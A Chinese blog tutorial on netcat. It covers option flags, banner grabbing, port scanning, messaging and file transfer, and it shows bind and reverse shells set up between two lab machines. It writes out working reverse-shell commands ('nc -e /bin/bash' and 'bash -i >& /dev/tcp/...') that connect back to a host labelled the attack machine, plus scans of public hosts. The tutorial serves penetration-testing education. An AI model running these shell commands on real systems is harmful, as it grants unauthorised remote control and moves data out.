使用nc实现远程命令执行

易混淆的概念

nc是netcat
ncat是nmap下的组件,号称是nc的增强版
image-20210205034858890.png
image-20210205040330966.png

nc到底要用哪个?

通过下面命令进行设置

sudo update-alternatives --config nc

image-20210205041524450.png

主要功能

telnet / 获取系统 banner 信息
传输文本信息
传输文件和目录
加密传输文件
端口扫描
远程控制 / 正方向 shell
流媒体服务器
远程克隆硬盘

命令相关参数

常用的几种加粗显示了

-g 设置路由器跃程通信网关,最多可设置8个。

-G 设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i 设置时间间隔,以便传送信息及扫描通信端口。

-l 使用监听模式,管控传入的资料。

-n 直接使用IP地址,而不通过域名服务器。

-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-s 设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 显示指令执行过程。

-w 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

获取系统 banner 信息

这里以我的网站为例,先获取ip地址

ping www.iculture.cc

image-20210205032603226.png

然后使用netcat来抓取banner信息

nc 39.106.66.45 443
head

可以看到扫出来的web服务器是nginx

image-20210205033214478.png

端口扫描

进行端口扫描(这里以扫描192.168.137.131的1-65535端口为例)

nc -nvz 192.168.137.131 1-65535

image-20210205013210770.png

用nmap进行端口扫描

nmap -p 1-65535 192.168.137.131

image-20210205013226633.png

对比二者,发现前者速度还是比较慢的,而且如果没有扫到开放的端口是没有回复就跳到下一行了。

我们这里端口没有打开,我们需要设置将192.168.137.131的端口打开

开启端口的方法

这里使用ufw,先安装ufw

sudo apt-get install ufw

image-20210205013615762.png

然后开放80端口

sudo ufw allow 80

image-20210205013824084.png

开启防火墙

ufw enable

然后扫描端口,进行测试

nmap -p 1-65535 192.168.137.131

image-20210205014634530.png

然后这边用nc真的是奇卡无比,扫100个端口,扫了半天还没反应

nc -nvz 192.168.137.131 1-100

最后还是放弃了,直接扫80端口

nc -nvz 192.168.137.131 80

image-20210205015204082.png

除了可以扫描内网的ip,也可以扫描外网的

这里以网易邮箱为例,先ping出地址

ping pop3.163.com

这里可以看到110端口是开放的

nc -vn 123.126.97.79 110

image-20210205015642003.png

消息传输

第一台机器,监听8888端口并等待连接

nc -l 8888

image-20210205025119219.png

另一台机器,连接上一台机器的8888端口

nc 192.168.137.131 8888

连接上,输入test进行测试

image-20210205025152035.png

我们会发现第一台机器也能收到test

image-20210205025207714.png

反弹shell

反弹shell介绍

A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the attacker’s host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack. Reverse shells can also work across a NAT or firewall.

什么是反弹shell?本质上是网络概念的客户端与服务端的角色反转。

为什么需要反弹shell?反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

参考https://www.gnu.org/software/bash/manual/bash.pdf

正向反弹shell

第一台机器(服务器)

nc -l -p 6996 -e /bin/bash

第二台机器(攻击机)

nc 192.168.137.131 6996

输入

whoami

这里会惊奇的发现,我们已经是另一台机器的root账户了,这里说明shell已经反弹成功了。

image-20210205025930872.png

输入

ip a

这里可以看到实际上我已经是在第一台机器的kali系统里了

image-20210205030106419.png

后面的操作就可以利用

反向反弹shell

第二台机器(攻击机)

nc -lvvp 8888

image-20210205041729506.png

image-20210205041758213.png

第一台机器(服务器)

nc -e /bin/bash 192.168.137.128 8888

image-20210205034639050.png

bash反弹shell

第二台机器(攻击机)

nc -lvvp 8888

第一台机器(服务器)

bash -i >& /dev/tcp/192.168.137.128/8888 0>&1

紧接着发现

image-20210205042133510.png

已经切到kali这边了,可以输入命令行了

文件传输

为了验证,文件成功传输,这里先用第二台机器检验无test.txt文件

cat test.txt

image-20210205031438893.png

然后第二台(攻击机)机器输入

nc -l -p 8888 > test.txt

image-20210205031845456.png

然后第一台机器输入(服务器)

cat 'test.txt' | nc 192.168.137.128 8888

发现换行了,连接中断了,这里再用第二台机器输入

image-20210205031918859.png

发现文件已经从第一台机器传过来了。

© 版权声明
THE END
喜欢就支持一下吧
点赞23
分享
评论 共2条

请登录后发表评论